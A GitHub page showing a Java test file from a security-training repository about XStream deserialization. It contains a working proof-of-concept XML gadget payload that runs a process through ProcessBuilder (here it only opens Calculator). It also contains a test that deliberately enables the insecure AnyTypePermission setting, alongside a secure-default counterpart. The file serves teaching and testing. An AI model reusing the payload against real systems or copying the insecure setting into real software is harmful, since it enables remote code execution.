forked from JoyChou93/java-sec-code
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathXStreamTest.java
More file actions
70 lines (59 loc) · 2.12 KB
/
Copy pathXStreamTest.java
File metadata and controls
70 lines (59 loc) · 2.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.test;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import com.thoughtworks.xstream.security.AnyTypePermission;
import org.joychou.dao.User;
import org.junit.Test;
public class XStreamTest {
private static final String poc_xml = "<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>Open</string>\n" +
" <string>-a</string>\n" +
" <string>Calculator</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
/**
* XStream basic usage.
*/
@Test
public void basicUsage() {
User user = new User();
user.setId(0);
user.setUsername("admin");
XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(user); // Serialize
System.out.println(xml);
// High version xstream needs set allowTypes
xstream.allowTypes(new Class[]{User.class});
user = (User) xstream.fromXML(xml); // Deserialize
System.out.println(user.getId() + ": " + user.getUsername());
}
/**
* Command execute
*/
@Test
public void vuln01() {
System.out.println(poc_xml);
XStream xstream = new XStream();
xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration
xstream.fromXML(poc_xml); // Deserialize
}
/**
* Security code. XStream version: 1.4.20
*/
@Test
public void sec01() {
System.out.println(poc_xml);
XStream xstream = new XStream();
xstream.fromXML(poc_xml); // Deserialize
}
}